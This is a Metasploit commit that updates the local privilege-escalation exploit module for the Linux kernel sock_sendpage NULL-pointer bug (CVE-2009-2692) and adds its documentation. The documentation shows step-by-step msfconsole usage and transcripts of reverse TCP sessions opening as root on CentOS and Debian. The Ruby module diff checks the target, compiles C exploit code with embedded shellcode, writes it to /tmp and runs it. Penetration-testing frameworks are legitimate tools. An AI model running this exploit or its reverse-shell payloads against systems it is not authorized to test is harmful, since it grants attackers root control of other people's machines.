Land #9853, Update Linux sock_sendpage local exploit module

4.x
Brent Cook 2018-04-26 14:30:51 -05:00 committed by Metasploit
parent 92ada42fc5
commit 3b7d2c8177
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
2 changed files with 268 additions and 78 deletions

View File

@ -0,0 +1,121 @@
## Description
The Linux kernel failed to properly initialize some entries in the
`proto_ops` struct for several protocols, leading to `NULL` being
dereferenced and used as a function pointer. By using `mmap(2)` to map
page `0`, an attacker can execute arbitrary code in the context of the
kernel.
## Vulnerable Application
Several public exploits exist for this vulnerability, including
spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
* 2.4.4 up to and including 2.4.37.4
* 2.6.0 up to and including 2.6.30.4
This module has been tested successfully on:
* CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
* Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/sock_sendpage`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
**DEBUG_EXPLOIT**
Enable exploit debug messages. (default: `false`)
## Scenarios
### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
```
msf > use exploit/linux/local/sock_sendpage
msf exploit(linux/local/sock_sendpage) > set session 1
session => 1
msf exploit(linux/local/sock_sendpage) > set verbose true
verbose => true
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/sock_sendpage) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 2.6.18 appears to be vulnerable
[+] System architecture i686 is supported
[+] vm.mmap_min_addr is not set
[*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
[*] Max line length is 65537
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (857352 bytes) to 172.16.191.159
[*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.159
OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```
### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
```
msf > use exploit/linux/local/sock_sendpage
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(linux/local/sock_sendpage) > set session 1
session => 1
msf exploit(linux/local/sock_sendpage) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 2.4.27 appears to be vulnerable
[+] System architecture i686 is supported
[+] vm.mmap_min_addr is not set
[*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
[*] Max line length is 65537
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
[*] Executing payload...
[*] Sending stage (36 bytes) to 172.16.191.227
[*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
[!] Tried to delete /tmp/.69p3FeagB, unknown result
3356110123
lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
id
uid=0(root) gid=0(root) groups=100(users)
uname -a
Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux
```

View File

@ -10,84 +10,152 @@ require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
The Linux kernel failed to properly initialize some entries the
proto_ops struct for several protocols, leading to NULL being
dereferenced and used as a function pointer. By using mmap(2) to map
page 0, an attacker can execute arbitrary code in the context of the
kernel.
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
The Linux kernel failed to properly initialize some entries in the
proto_ops struct for several protocols, leading to NULL being
dereferenced and used as a function pointer. By using mmap(2) to map
page 0, an attacker can execute arbitrary code in the context of the
kernel.
Several public exploits exist for this vulnerability, including
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
Several public exploits exist for this vulnerability, including
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # discovery
'Julien Tinnes <julien at cr0.org>', # discovery
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'OSVDB', '56992' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Aug 13 2009",
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
])
register_options([
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]),
])
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
This module has been tested successfully on CentOS 5.0 (i386) with
kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with
kernel version 2.4.27-3-386.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # discovery
'Julien Tinnes <julien at cr0.org>', # discovery
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'EDB', '9545' ],
[ 'EDB', '9641' ],
[ 'BID', '36038' ],
[ 'URL', 'https://www.securityfocus.com/archive/1/505751' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DisclosureDate' => 'Aug 13 2009',
'DefaultTarget' => 0))
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
]
end
def executable_path
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
def base_dir
datastore['WritableDir']
end
@executable_path
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def check
version = Gem::Version.new kernel_release.split('-').first
if version.to_s.eql? ''
vprint_error 'Could not determine the kernel version'
return CheckCode::Unknown
end
if version.between?(Gem::Version.new('2.4.4'), Gem::Version.new('2.4.37.4')) ||
version.between?(Gem::Version.new('2.6.0'), Gem::Version.new('2.6.30.4'))
vprint_good "Kernel version #{version} appears to be vulnerable"
else
vprint_error "Kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
arch = kernel_hardware
unless arch.include?('x86') || arch =~ /i\d86/
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
if arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'
if file_exist? mmap_min_addr_path
mmap_min_addr = read_file mmap_min_addr_path
else
mmap_min_addr = ''
end
case mmap_min_addr
when ''
vprint_good 'vm.mmap_min_addr is not set'
when '0'
vprint_good 'vm.mmap_min_addr is zero'
else
vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
sc = Metasm::ELF.new(@cpu)
if check == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
sc = Metasm::ELF.new @cpu
sc.parse %Q|
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
#endif
|
current_task_struct_h(sc)
if datastore["DEBUG_EXPLOIT"]
current_task_struct_h sc
if datastore['DEBUG_EXPLOIT']
cparser.parse "#define DEBUG\n"
end
case target.arch.first
when ARCH_X86
main = %q^
main = %q^
struct _IO_FILE;
typedef void _IO_lock_t;
@ -244,6 +312,7 @@ int *apparmor_enabled;
int got_ring0 = 0;
unsigned long uid, gid;
/*
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
@ -278,7 +347,7 @@ static unsigned long get_kernel_sym(char *name)
fclose(f);
return 0;
}
*/
static void
change_cred(void)
@ -403,24 +472,22 @@ int main(int argc, char **argv) {
return got_ring0;
}
^
main.gsub!(/SHELLCODE/) do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c(payload.encoded, 64, "shellcode")
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c")
#$stderr.puts cparser.factorize
#return
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
main.gsub!(/SHELLCODE/) do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c payload.encoded, 64, 'shellcode'
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse main, 'main.c'
#$stderr.puts cparser.factorize
#return
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
sc.assemble
sc.c_set_default_entrypoint
@ -429,7 +496,7 @@ int main(int argc, char **argv) {
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
end
rescue
print_error "Metasm Encoding failed: #{$!}"
@ -438,11 +505,13 @@ int main(int argc, char **argv) {
return
end
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
output.each_line { |line| vprint_status(line.chomp) }
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}"
upload payload_path, elf
cmd_exec "chmod +x #{payload_path}"
print_status 'Executing payload...'
output = cmd_exec payload_path
output.each_line { |line| vprint_status line.chomp }
end
end